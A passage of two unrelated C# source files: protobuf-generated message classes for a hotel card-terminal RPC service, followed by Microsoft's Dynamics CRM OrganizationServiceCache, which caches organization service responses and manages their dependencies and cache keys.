[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public CardTerminalSvcAllResponse(CardTerminalSvcAllResponse other) : this() {
cardTerminals_ = other.cardTerminals_.Clone();
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public CardTerminalSvcAllResponse Clone() {
return new CardTerminalSvcAllResponse(this);
}
/// <summary>Field number for the "card_terminals" field.</summary>
public const int CardTerminalsFieldNumber = 1;
private static readonly pb::FieldCodec<global::HOLMS.Types.Money.Cards.CardTerminal> _repeated_cardTerminals_codec
= pb::FieldCodec.ForMessage(10, global::HOLMS.Types.Money.Cards.CardTerminal.Parser);
private readonly pbc::RepeatedField<global::HOLMS.Types.Money.Cards.CardTerminal> cardTerminals_ = new pbc::RepeatedField<global::HOLMS.Types.Money.Cards.CardTerminal>();
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public pbc::RepeatedField<global::HOLMS.Types.Money.Cards.CardTerminal> CardTerminals {
get { return cardTerminals_; }
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public override bool Equals(object other) {
return Equals(other as CardTerminalSvcAllResponse);
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public bool Equals(CardTerminalSvcAllResponse other) {
if (ReferenceEquals(other, null)) {
return false;
}
if (ReferenceEquals(other, this)) {
return true;
}
if(!cardTerminals_.Equals(other.cardTerminals_)) return false;
return true;
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public override int GetHashCode() {
int hash = 1;
hash ^= cardTerminals_.GetHashCode();
return hash;
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public override string ToString() {
return pb::JsonFormatter.ToDiagnosticString(this);
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public void WriteTo(pb::CodedOutputStream output) {
cardTerminals_.WriteTo(output, _repeated_cardTerminals_codec);
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public int CalculateSize() {
int size = 0;
size += cardTerminals_.CalculateSize(_repeated_cardTerminals_codec);
return size;
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public void MergeFrom(CardTerminalSvcAllResponse other) {
if (other == null) {
return;
}
cardTerminals_.Add(other.cardTerminals_);
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public void MergeFrom(pb::CodedInputStream input) {
uint tag;
while ((tag = input.ReadTag()) != 0) {
switch(tag) {
default:
input.SkipLastField();
break;
case 10: {
cardTerminals_.AddEntriesFrom(input, _repeated_cardTerminals_codec);
break;
}
}
}
}
}
public sealed partial class CardTerminalSvcVerifyTerminalResponse : pb::IMessage<CardTerminalSvcVerifyTerminalResponse> {
private static readonly pb::MessageParser<CardTerminalSvcVerifyTerminalResponse> _parser = new pb::MessageParser<CardTerminalSvcVerifyTerminalResponse>(() => new CardTerminalSvcVerifyTerminalResponse());
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public static pb::MessageParser<CardTerminalSvcVerifyTerminalResponse> Parser { get { return _parser; } }
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public static pbr::MessageDescriptor Descriptor {
get { return global::HOLMS.Types.Money.RPC.CardTerminalSvcReflection.Descriptor.MessageTypes[1]; }
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
pbr::MessageDescriptor pb::IMessage.Descriptor {
get { return Descriptor; }
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public CardTerminalSvcVerifyTerminalResponse() {
OnConstruction();
}
partial void OnConstruction();
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public CardTerminalSvcVerifyTerminalResponse(CardTerminalSvcVerifyTerminalResponse other) : this() {
response_ = other.response_;
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public CardTerminalSvcVerifyTerminalResponse Clone() {
return new CardTerminalSvcVerifyTerminalResponse(this);
}
/// <summary>Field number for the "response" field.</summary>
public const int ResponseFieldNumber = 1;
private global::HOLMS.Types.Money.RPC.CardTerminalResponseCode response_ = 0;
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public global::HOLMS.Types.Money.RPC.CardTerminalResponseCode Response {
get { return response_; }
set {
response_ = value;
}
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public override bool Equals(object other) {
return Equals(other as CardTerminalSvcVerifyTerminalResponse);
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public bool Equals(CardTerminalSvcVerifyTerminalResponse other) {
if (ReferenceEquals(other, null)) {
return false;
}
if (ReferenceEquals(other, this)) {
return true;
}
if (Response != other.Response) return false;
return true;
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public override int GetHashCode() {
int hash = 1;
if (Response != 0) hash ^= Response.GetHashCode();
return hash;
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public override string ToString() {
return pb::JsonFormatter.ToDiagnosticString(this);
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public void WriteTo(pb::CodedOutputStream output) {
if (Response != 0) {
output.WriteRawTag(8);
output.WriteEnum((int) Response);
}
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public int CalculateSize() {
int size = 0;
if (Response != 0) {
size += 1 + pb::CodedOutputStream.ComputeEnumSize((int) Response);
}
return size;
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public void MergeFrom(CardTerminalSvcVerifyTerminalResponse other) {
if (other == null) {
return;
}
if (other.Response != 0) {
Response = other.Response;
}
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public void MergeFrom(pb::CodedInputStream input) {
uint tag;
while ((tag = input.ReadTag()) != 0) {
switch(tag) {
default:
input.SkipLastField();
break;
case 8: {
response_ = (global::HOLMS.Types.Money.RPC.CardTerminalResponseCode) input.ReadEnum();
break;
}
}
}
}
}
public sealed partial class CardAuthorizationRequestForReservation : pb::IMessage<CardAuthorizationRequestForReservation> {
private static readonly pb::MessageParser<CardAuthorizationRequestForReservation> _parser = new pb::MessageParser<CardAuthorizationRequestForReservation>(() => new CardAuthorizationRequestForReservation());
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public static pb::MessageParser<CardAuthorizationRequestForReservation> Parser { get { return _parser; } }
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public static pbr::MessageDescriptor Descriptor {
get { return global::HOLMS.Types.Money.RPC.CardTerminalSvcReflection.Descriptor.MessageTypes[2]; }
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
pbr::MessageDescriptor pb::IMessage.Descriptor {
get { return Descriptor; }
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public CardAuthorizationRequestForReservation() {
OnConstruction();
}
partial void OnConstruction();
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public CardAuthorizationRequestForReservation(CardAuthorizationRequestForReservation other) : this() {
ReservationId = other.reservationId_ != null ? other.ReservationId.Clone() : null;
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public CardAuthorizationRequestForReservation Clone() {
return new CardAuthorizationRequestForReservation(this);
}
/// <summary>Field number for the "reservation_id" field.</summary>
public const int ReservationIdFieldNumber = 1;
private global::HOLMS.Types.Booking.Indicators.ReservationIndicator reservationId_;
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public global::HOLMS.Types.Booking.Indicators.ReservationIndicator ReservationId {
get { return reservationId_; }
set {
reservationId_ = value;
}
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public override bool Equals(object other) {
return Equals(other as CardAuthorizationRequestForReservation);
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public bool Equals(CardAuthorizationRequestForReservation other) {
if (ReferenceEquals(other, null)) {
return false;
}
if (ReferenceEquals(other, this)) {
return true;
}
if (!object.Equals(ReservationId, other.ReservationId)) return false;
return true;
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public override int GetHashCode() {
int hash = 1;
if (reservationId_ != null) hash ^= ReservationId.GetHashCode();
return hash;
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public override string ToString() {
return pb::JsonFormatter.ToDiagnosticString(this);
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public void WriteTo(pb::CodedOutputStream output) {
if (reservationId_ != null) {
output.WriteRawTag(10);
output.WriteMessage(ReservationId);
}
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public int CalculateSize() {
int size = 0;
if (reservationId_ != null) {
size += 1 + pb::CodedOutputStream.ComputeMessageSize(ReservationId);
}
return size;
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public void MergeFrom(CardAuthorizationRequestForReservation other) {
if (other == null) {
return;
}
if (other.reservationId_ != null) {
if (reservationId_ == null) {
reservationId_ = new global::HOLMS.Types.Booking.Indicators.ReservationIndicator();
}
ReservationId.MergeFrom(other.ReservationId);
}
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public void MergeFrom(pb::CodedInputStream input) {
uint tag;
while ((tag = input.ReadTag()) != 0) {
switch(tag) {
default:
input.SkipLastField();
break;
case 10: {
if (reservationId_ == null) {
reservationId_ = new global::HOLMS.Types.Booking.Indicators.ReservationIndicator();
}
input.ReadMessage(reservationId_);
break;
}
}
}
}
}
#endregion
}
#endregion Designer generated code
| |
/*
Copyright (c) Microsoft Corporation. All rights reserved.
Licensed under the MIT License. See License.txt in the project root for license information.
*/
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Globalization;
using System.Linq;
using System.Runtime.Caching;
using Microsoft.Xrm.Client.Caching;
using Microsoft.Xrm.Client.Configuration;
using Microsoft.Xrm.Client.Diagnostics;
using Microsoft.Xrm.Client.Runtime.Serialization;
using Microsoft.Xrm.Client.Services.Messages;
using Microsoft.Xrm.Client.Threading;
using Microsoft.Xrm.Sdk;
using Microsoft.Xrm.Sdk.Messages;
using Microsoft.Xrm.Sdk.Metadata;
using Microsoft.Xrm.Sdk.Query;
namespace Microsoft.Xrm.Client.Services
{
/// <summary>
/// Provides caching services for an <see cref="IOrganizationService"/> through an underlying <see cref="ObjectCache"/>.
/// </summary>
/// <remarks>
/// When the underlying service is executed, the <see cref="OrganizationRequest"/> along with the ConnectionId is converted to a cache key. The resulting
/// <see cref="OrganizationResponse"/> is inserted into the cache using the cache key for subsequent lookups.
///
/// Cache item dependencies in the form of <see cref="CacheEntryChangeMonitor"/> objects are generated from the <see cref="OrganizationResponse"/> and
/// assigned to the cache items during insertion. When an <see cref="Entity"/> is removed from the cache, the dependencies ensure that the associated cache
/// items are removed.
/// </remarks>
public class OrganizationServiceCache : IOrganizationServiceCache, IInitializable
{
private const string _dependencyEntityObjectFormat = "{0}:entity:{1}:id={2}";
private const string _dependencyEntityClassFormat = "{0}:entity:{1}";
private const string _dependencyMetadataFormat = "{0}:metadata:*";
private const string _dependencyContentFormat = "{0}:content:*";
private readonly ICacheItemPolicyFactory _cacheItemPolicyFactory;
/// <summary>
/// The cache region used when interacting with the <see cref="ObjectCache"/>.
/// </summary>
public string CacheRegionName { get; private set; }
/// <summary>
/// The caching behavior mode.
/// </summary>
public OrganizationServiceCacheMode Mode { get; set; }
/// <summary>
/// The cache retrieval mode.
/// </summary>
public OrganizationServiceCacheReturnMode ReturnMode { get; set; }
/// <summary>
/// The underlying cache.
/// </summary>
public virtual ObjectCache Cache { get; private set; }
/// <summary>
/// The prefix string used for constructing the <see cref="CacheEntryChangeMonitor"/> objects assigned to the cache items.
/// </summary>
public virtual string CacheEntryChangeMonitorPrefix { get; private set; }
/// <summary>
/// A key value for uniquely distinguishing the connection.
/// </summary>
public string ConnectionId { get; private set; }
/// <summary>
/// Gets or sets the flag determining whether or not to hash the serialized query.
/// </summary>
public bool QueryHashingEnabled { get; private set; }
static OrganizationServiceCache()
{
Initialize();
}
public OrganizationServiceCache()
: this(null)
{
}
public OrganizationServiceCache(ObjectCache cache)
: this(cache, (OrganizationServiceCacheSettings)null)
{
}
public OrganizationServiceCache(ObjectCache cache, CrmConnection connection)
: this(cache, connection.GetConnectionId())
{
}
public OrganizationServiceCache(ObjectCache cache, string connectionId)
: this(cache, new OrganizationServiceCacheSettings(connectionId))
{
}
public OrganizationServiceCache(ObjectCache cache, OrganizationServiceCacheSettings settings)
{
var cacheSettings = settings ?? new OrganizationServiceCacheSettings();
Cache = cache ?? MemoryCache.Default;
Mode = OrganizationServiceCacheMode.LookupAndInsert;
ReturnMode = OrganizationServiceCacheReturnMode.Cloned;
ConnectionId = cacheSettings.ConnectionId;
CacheRegionName = cacheSettings.CacheRegionName;
QueryHashingEnabled = cacheSettings.QueryHashingEnabled;
CacheEntryChangeMonitorPrefix = cacheSettings.CacheEntryChangeMonitorPrefix;
_cacheItemPolicyFactory = cacheSettings.PolicyFactory;
}
/// <summary>
/// Initializes custom settings.
/// </summary>
/// <param name="name"></param>
/// <param name="config"></param>
public virtual void Initialize(string name, NameValueCollection config)
{
}
/// <summary>
/// Executes a request against the <see cref="IOrganizationService"/> or retrieves the response from the cache if found.
/// </summary>
/// <typeparam name="T"></typeparam>
/// <param name="request"></param>
/// <param name="execute"></param>
/// <param name="selector"></param>
/// <param name="selectorCacheKey"></param>
/// <returns></returns>
public T Execute<T>(OrganizationRequest request, Func<OrganizationRequest, OrganizationResponse> execute, Func<OrganizationResponse, T> selector, string selectorCacheKey)
{
return InnerExecute(request, execute, selector, selectorCacheKey);
}
/// <summary>
/// Removes an entity from the cache.
/// </summary>
/// <param name="entity"></param>
public void Remove(Entity entity)
{
InvalidateCacheDependencies(GetDependencies(entity));
}
/// <summary>
/// Removes an entity from the cache.
/// </summary>
/// <param name="entity"></param>
public void Remove(EntityReference entity)
{
InvalidateCacheDependencies(GetDependencies(entity));
}
/// <summary>
/// Removes an entity from the cache.
/// </summary>
/// <param name="entityLogicalName"></param>
/// <param name="id"></param>
public void Remove(string entityLogicalName, Guid? id)
{
InvalidateCacheDependency(GetDependency(entityLogicalName));
if (id != null && id.Value != Guid.Empty)
{
InvalidateCacheDependency(GetDependency(entityLogicalName, id.Value));
}
}
/// <summary>
/// Removes a request from the cache.
/// </summary>
/// <param name="request"></param>
public void Remove(OrganizationRequest request)
{
var dependencies = GetDependenciesForObject(request).ToList();
InvalidateCacheDependencies(dependencies);
}
/// <summary>
/// Removes a specific cache item.
/// </summary>
/// <param name="cacheKey"></param>
public void Remove(string cacheKey)
{
Cache.Remove(cacheKey, CacheRegionName);
}
public void Remove(OrganizationServiceCachePluginMessage message)
{
if (message.Category != null)
{
Tracing.FrameworkInformation("OrganizationServiceCache", "Remove", "Category={0}", message.Category.Value);
Remove(message.Category.Value);
}
if (message.Target != null)
{
var entity = message.Target.ToEntityReference();
Tracing.FrameworkInformation("OrganizationServiceCache", "Remove", "LogicalName={0}, Id={1}, Name={2}", entity.LogicalName, entity.Id, entity.Name);
Remove(entity);
}
if (message.RelatedEntities != null)
{
var relatedEntities = message.RelatedEntities.ToEntityReferenceCollection();
foreach (var entity in relatedEntities)
{
Tracing.FrameworkInformation("OrganizationServiceCache", "Remove", "LogicalName={0}, Id={1}, Name={2}", entity.LogicalName, entity.Id, entity.Name);
Remove(entity);
}
}
}
private void Remove(CacheItemCategory category)
{
if (category == CacheItemCategory.All)
{
Cache.RemoveAll();
return;
}
if (category.HasFlag(CacheItemCategory.Metadata))
{
Remove(_dependencyMetadataFormat.FormatWith(CacheEntryChangeMonitorPrefix));
}
if (category.HasFlag(CacheItemCategory.Content))
{
Remove(_dependencyContentFormat.FormatWith(CacheEntryChangeMonitorPrefix));
}
}
private TResult InnerExecute<TRequest, TResponse, TResult>(TRequest request, Func<TRequest, TResponse> execute, Func<TResponse, TResult> selector, string selectorCacheKey)
{
// perform a cached execute or fallback to a regular execute
var isCachedRequest = IsCachedRequest(request as OrganizationRequest);
var response = isCachedRequest ? Get(request, execute, selector, selectorCacheKey) : InnerExecute(request, execute, selector);
if (!isCachedRequest)
{
var dependencies = GetDependenciesForObject(request).ToList();
InvalidateCacheDependencies(dependencies);
}
return response;
}
private TResult Get<TRequest, TResponse, TResult>(TRequest query, Func<TRequest, TResponse> execute, Func<TResponse, TResult> selector, string selectorCacheKey)
{
if (Mode == OrganizationServiceCacheMode.LookupAndInsert) return LookupAndInsert(query, execute, selector, selectorCacheKey);
if (Mode == OrganizationServiceCacheMode.InsertOnly) return InsertOnly(query, execute, selector, selectorCacheKey);
if (Mode == OrganizationServiceCacheMode.Disabled) return Disabled(query, execute, selector, selectorCacheKey);
return InnerExecute(query, execute, selector);
}
private TResult LookupAndInsert<TRequest, TResponse, TResult>(TRequest query, Func<TRequest, TResponse> execute, Func<TResponse, TResult> selector, string selectorCacheKey)
{
var cacheKey = GetCacheKey(query, selectorCacheKey);
var response = Cache.Get(cacheKey,
cache =>
{
Tracing.FrameworkInformation("OrganizationServiceCache", OrganizationServiceCacheMode.LookupAndInsert.ToString(), cacheKey);
return InnerExecute(query, execute, selector);
},
(cache, result) => Insert(cacheKey, query, result),
CacheRegionName);
return ReturnMode == OrganizationServiceCacheReturnMode.Cloned ? CloneResponse(response) : response;
}
private TResult InsertOnly<TRequest, TResponse, TResult>(TRequest query, Func<TRequest, TResponse> execute, Func<TResponse, TResult> selector, string selectorCacheKey)
{
var cacheKey = GetCacheKey(query, selectorCacheKey);
var result = default(TResult);
LockManager.Lock(
cacheKey,
() =>
{
Tracing.FrameworkInformation("OrganizationServiceCache", OrganizationServiceCacheMode.InsertOnly.ToString(), cacheKey);
result = InnerExecute(query, execute, selector);
Insert(cacheKey, query, result);
});
return result;
}
private TResult Disabled<TRequest, TResponse, TResult>(TRequest query, Func<TRequest, TResponse> execute, Func<TResponse, TResult> selector, string selectorCacheKey)
{
var cacheKey = GetCacheKey(query, selectorCacheKey);
Tracing.FrameworkInformation("OrganizationServiceCache", OrganizationServiceCacheMode.Disabled.ToString(), cacheKey);
return InnerExecute(query, execute, selector);
}
private static TResult InnerExecute<TRequest, TResponse, TResult>(TRequest query, Func<TRequest, TResponse> execute, Func<TResponse, TResult> selector)
{
return selector(execute(query));
}
public void Insert(string key, object query, object result)
{
var cachePolicy = InternalGetCachePolicy(query, result);
Insert(key, result, cachePolicy);
}
private void Insert(string key, object result, CacheItemPolicy cachePolicy)
{
// select the cache entry monitors and add their keys to the cache
Cache.Insert(key, result, cachePolicy, CacheRegionName);
}
/// <summary>
/// An extensiblity method for retrieving a custom cache policy.
/// </summary>
/// <param name="query"></param>
/// <param name="result"></param>
/// <param name="cacheItemPolicy"></param>
/// <returns></returns>
protected virtual bool TryGetCachePolicy(object query, object result, out CacheItemPolicy cacheItemPolicy)
{
cacheItemPolicy = null;
return false;
}
private CacheItemPolicy InternalGetCachePolicy(object query, object result)
{
// extensibility point
CacheItemPolicy cacheItemPolicy;
return TryGetCachePolicy(query, result, out cacheItemPolicy)
? cacheItemPolicy
: GetCachePolicy(query, result);
}
protected CacheItemPolicy GetCachePolicy(object query, object result)
{
var cachePolicy = GetBaseCachePolicy();
var dependencies = GetDependenciesForObject(query).Concat(GetDependenciesForObject(result)).Distinct().ToList();
var monitor = Cache.GetChangeMonitor(dependencies, CacheRegionName);
if (monitor != null)
{
cachePolicy.ChangeMonitors.Add(monitor);
}
return cachePolicy;
}
protected CacheItemPolicy GetBaseCachePolicy()
{
return _cacheItemPolicyFactory != null ? _cacheItemPolicyFactory.Create() : new CacheItemPolicy();
}
/// <summary>
/// An extensiblity method for retrieving dependencies.
/// </summary>
/// <param name="query"></param>
/// <param name="dependencies"></param>
/// <returns></returns>
protected virtual bool TryGetDependencies(object query, out IEnumerable<string> dependencies)
{
dependencies = null;
return false;
}
private IEnumerable<string> GetDependenciesForObject(object query, IEnumerable<object> path = null)
{
IEnumerable<string> dependencies;
if (TryGetDependencies(query, out dependencies))
{
return dependencies;
}
if (query is KeyedRequest) return GetDependencies(query as KeyedRequest, path ?? new List<object> { query });
if (query is OrganizationRequest) return GetDependencies(query as OrganizationRequest, path ?? new List<object> { query });
if (query is OrganizationResponse) return GetDependencies(query as OrganizationResponse, path ?? new List<object> { query });
if (query is QueryBase) return GetDependencies(query as QueryBase);
if (query is IEnumerable<Entity>) return GetDependencies(query as IEnumerable<Entity>);
if (query is IEnumerable<EntityReference>) return GetDependencies(query as IEnumerable<EntityReference>);
if (query is EntityCollection) return GetDependencies(query as EntityCollection);
if (query is Entity) return GetDependencies(query as Entity);
if (query is EntityReference) return GetDependencies(query as EntityReference);
if (query is RelationshipQueryCollection) return GetDependencies(query as RelationshipQueryCollection);
return GetDependenciesEmpty();
}
private static IEnumerable<string> GetDependenciesEmpty()
{
yield break;
}
private IEnumerable<string> GetDependencies(KeyedRequest request, IEnumerable<object> path)
{
return GetDependenciesForObject(request.Request, path);
}
private IEnumerable<string> GetDependencies(OrganizationRequest request, IEnumerable<object> path)
{
if (IsContentRequest(request))
{
yield return _dependencyContentFormat.FormatWith(CacheEntryChangeMonitorPrefix);
}
else if (IsMetadataRequest(request))
{
yield return _dependencyMetadataFormat.FormatWith(CacheEntryChangeMonitorPrefix);
}
foreach (var parameter in request.Parameters)
{
var value = parameter.Value;
if (value != null && !path.Contains(value))
{
foreach (var child in GetDependenciesForObject(value, path.Concat(new[] { value })))
{
yield return child;
}
}
}
}
private IEnumerable<string> GetDependencies(OrganizationResponse response, IEnumerable<object> path)
{
foreach (var parameter in response.Results)
{
var value = parameter.Value;
if (value != null && !path.Contains(value))
{
foreach (var child in GetDependenciesForObject(value, path.Concat(new[] { value })))
{
yield return child;
}
}
}
}
private IEnumerable<string> GetDependencies(RelationshipQueryCollection collection)
{
foreach (var relatedEntitiesQuery in collection)
{
foreach (var dependency in GetDependencies(relatedEntitiesQuery.Value))
{
yield return dependency;
}
}
}
private IEnumerable<string> GetDependencies(QueryBase query)
{
if (query is QueryExpression)
{
yield return GetDependency((query as QueryExpression).EntityName);
foreach (var linkEntity in GetLinkEntities(query as QueryExpression))
{
yield return GetDependency(linkEntity.LinkToEntityName);
yield return GetDependency(linkEntity.LinkFromEntityName);
}
}
else if (query is QueryByAttribute)
{
yield return GetDependency((query as QueryByAttribute).EntityName);
}
}
private IEnumerable<string> GetDependencies(EntityCollection entities)
{
yield return GetDependency(entities.EntityName);
foreach (var dependency in GetDependencies(entities.Entities))
{
yield return dependency;
}
}
private IEnumerable<string> GetDependencies(IEnumerable<Entity> entities)
{
return entities.SelectMany(GetDependencies);
}
private IEnumerable<string> GetDependencies(IEnumerable<EntityReference> entities)
{
return entities.SelectMany(GetDependencies);
}
private IEnumerable<string> GetDependencies(RelatedEntityCollection relationships)
{
return relationships.SelectMany(r => GetDependencies(r.Value));
}
private IEnumerable<string> GetDependencies(Entity entity)
{
yield return GetDependency(entity.LogicalName);
yield return GetDependency(entity);
// walk the related entities
foreach (var related in GetDependencies(entity.RelatedEntities))
{
yield return related;
}
}
private IEnumerable<string> GetDependencies(EntityReference entity)
{
yield return GetDependency(entity.LogicalName);
yield return GetDependency(entity);
}
private static IEnumerable<LinkEntity> GetLinkEntities(QueryExpression query)
{
return GetLinkEntities(query.LinkEntities);
}
private string GetDependency(Entity entity)
{
return GetDependency(entity.LogicalName, entity.Id);
}
private string GetDependency(EntityReference entity)
{
return GetDependency(entity.LogicalName, entity.Id);
}
private string GetDependency(string entityName)
{
return _dependencyEntityClassFormat.FormatWith(CacheEntryChangeMonitorPrefix, entityName);
}
private string GetDependency(string entityName, Guid? id)
{
return _dependencyEntityObjectFormat.FormatWith(CacheEntryChangeMonitorPrefix, entityName, id);
}
private static IEnumerable<LinkEntity> GetLinkEntities(IEnumerable<LinkEntity> linkEntities)
{
foreach (var linkEntity in linkEntities)
{
if (linkEntity != null)
{
yield return linkEntity;
foreach (var child in GetLinkEntities(linkEntity.LinkEntities))
{
yield return child;
}
}
}
}
/// <summary>
/// An extensiblity method for retrieving a custom cache key.
/// </summary>
/// <param name="request"></param>
/// <param name="cacheKey"></param>
/// <returns></returns>
protected virtual bool TryGetCacheKey(object request, out string cacheKey)
{
cacheKey = null;
return false;
}
private string InternalGetCacheKey(object request)
{
// extensiblity point
string cacheKey;
return TryGetCacheKey(request, out cacheKey)
? cacheKey
: GetCacheKey(request);
}
private string GetCacheKey(object query, string selectorCacheKey)
{
var text = InternalGetCacheKey(query) ?? Serialize(query);
var connection = !string.IsNullOrWhiteSpace(ConnectionId)
? ":ConnectionId={0}".FormatWith(QueryHashingEnabled ? ConnectionId.GetHashCode().ToString(CultureInfo.InvariantCulture) : ConnectionId)
: null;
var code = QueryHashingEnabled ? text.GetHashCode().ToString(CultureInfo.InvariantCulture) : text;
var selector = !string.IsNullOrEmpty(selectorCacheKey)
? ":Selector={0}".FormatWith(selectorCacheKey)
: null;
return "{0}{1}:Query={2}{3}".FormatWith(
GetType().FullName,
connection,
code,
selector);
}
protected string GetCacheKey(object request)
{
if (request == null) return null;
// use the explicit key from the KeyedRequest
if (request is KeyedRequest) return (request as KeyedRequest).Key;
// optimized serializations
if (request is RetrieveRequest
&& (request as RetrieveRequest).ColumnSet.AllColumns
&& (request as RetrieveRequest).RelatedEntitiesQuery == null)
{
return _serializedRetrieveRequestFormat.FormatWith(
(request as RetrieveRequest).Target.LogicalName,
(request as RetrieveRequest).Target.Id);
}
if (request is RetrieveRequest
&& !(request as RetrieveRequest).ColumnSet.AllColumns
&& (request as RetrieveRequest).ColumnSet.Columns.Count == 0
&& (request as RetrieveRequest).RelatedEntitiesQuery != null
&& (request as RetrieveRequest).RelatedEntitiesQuery.Count == 1
&& IsBasicQueryExpression((request as RetrieveRequest).RelatedEntitiesQuery.First().Value))
{
var relnQuery = (request as RetrieveRequest).RelatedEntitiesQuery.First();
var query = relnQuery.Value as QueryExpression;
return _serializedRetrieveRequestWithRelatedQueryFormat.FormatWith(
(request as RetrieveRequest).Target.LogicalName,
(request as RetrieveRequest).Target.Id,
relnQuery.Key.SchemaName,
relnQuery.Key.PrimaryEntityRole != null ? ((int)relnQuery.Key.PrimaryEntityRole.Value).ToString() : "null",
query.EntityName);
}
if (request is RetrieveAllEntitiesRequest)
{
return _serializedRetrieveAllEntitiesRequestFormat.FormatWith(
(int)(request as RetrieveAllEntitiesRequest).EntityFilters,
(request as RetrieveAllEntitiesRequest).RetrieveAsIfPublished);
}
if (request is RetrieveEntityRequest)
{
return _serializedRetrieveEntityRequestFormat.FormatWith(
(int)(request as RetrieveEntityRequest).EntityFilters,
(request as RetrieveEntityRequest).LogicalName,
(request as RetrieveEntityRequest).RetrieveAsIfPublished);
}
if (request is RetrieveMultipleRequest
&& IsBasicQueryExpression((request as RetrieveMultipleRequest).Query))
{
var query = (request as RetrieveMultipleRequest).Query as QueryExpression;
return _serializedRetrieveMultipleRequestFormat.FormatWith(
query.EntityName,
query.Distinct);
}
if (request is RetrieveRelationshipRequest)
{
return _serializedRetrieveRelationshipRequestFormat.FormatWith(
(request as RetrieveRelationshipRequest).Name,
(request as RetrieveRelationshipRequest).RetrieveAsIfPublished);
}
return null;
}
private static bool IsBasicQueryExpression(QueryBase query)
{
var qe = query as QueryExpression;
if (qe == null) return false;
return qe.ColumnSet.AllColumns
&& qe.Criteria.Conditions.Count == 0
&& qe.Criteria.Filters.Count == 0
&& qe.LinkEntities.Count == 0
&& qe.Orders.Count == 0
&& qe.PageInfo.Count == 0
&& qe.PageInfo.PageNumber == 0
&& qe.PageInfo.PagingCookie == null
&& qe.PageInfo.ReturnTotalRecordCount == false;
}
private static string _serializedRetrieveRequestFormat;
private static string _serializedRetrieveRequestWithRelatedQueryFormat;
private static string _serializedRetrieveAllEntitiesRequestFormat;
private static string _serializedRetrieveEntityRequestFormat;
private static string _serializedRetrieveMultipleRequestFormat;
private static string _serializedRetrieveRelationshipRequestFormat;
private static void Initialize()
{
const string schemaName = "__schemaName__";
const string entityName = "__entityName__";
const string logicalName = "__logicalName__";
const EntityFilters filters = EntityFilters.All;
var id = new Guid("ffffffff-ffff-ffff-ffff-ffffffffffff");
var retrieveRequest = new RetrieveRequest { ColumnSet = new ColumnSet(true), Target = new EntityReference(logicalName, id) };
_serializedRetrieveRequestFormat = SerializeForFormat(retrieveRequest)
.Replace(logicalName, @"{0}")
.Replace(id.ToString(), @"{1}");
var relationship = new Relationship(schemaName) { PrimaryEntityRole = EntityRole.Referencing };
var query = new RelationshipQueryCollection { { relationship, new QueryExpression(entityName) { ColumnSet = new ColumnSet(true) } } };
var retrieveRequestWithRelatedQuery = new RetrieveRequest { ColumnSet = new ColumnSet(), Target = new EntityReference(logicalName, id), RelatedEntitiesQuery = query };
_serializedRetrieveRequestWithRelatedQueryFormat = SerializeForFormat(retrieveRequestWithRelatedQuery)
.Replace(logicalName, @"{0}")
.Replace(id.ToString(), @"{1}")
.Replace(schemaName, @"{2}")
.Replace(@"""PrimaryEntityRole"":0", @"""PrimaryEntityRole"":{3}")
.Replace(entityName, @"{4}");
var retrieveAllEntitiesRequest = new RetrieveAllEntitiesRequest { EntityFilters = filters, RetrieveAsIfPublished = true };
_serializedRetrieveAllEntitiesRequestFormat = SerializeForFormat(retrieveAllEntitiesRequest)
.Replace(((int)filters).ToString(), @"{0}")
.Replace("true", @"{1}");
var retrieveEntityRequest = new RetrieveEntityRequest { EntityFilters = filters, LogicalName = logicalName, RetrieveAsIfPublished = true };
_serializedRetrieveEntityRequestFormat = SerializeForFormat(retrieveEntityRequest)
.Replace(((int)filters).ToString(), @"{0}")
.Replace(logicalName, @"{1}")
.Replace("true", @"{2}");
var retrieveMultipleRequest = new RetrieveMultipleRequest { Query = new QueryExpression(logicalName) { Distinct = true } };
_serializedRetrieveMultipleRequestFormat = SerializeForFormat(retrieveMultipleRequest)
.Replace(logicalName, @"{0}")
.Replace("true", @"{1}");
var retrieveRelationshipRequest = new RetrieveRelationshipRequest { Name = logicalName, RetrieveAsIfPublished = true };
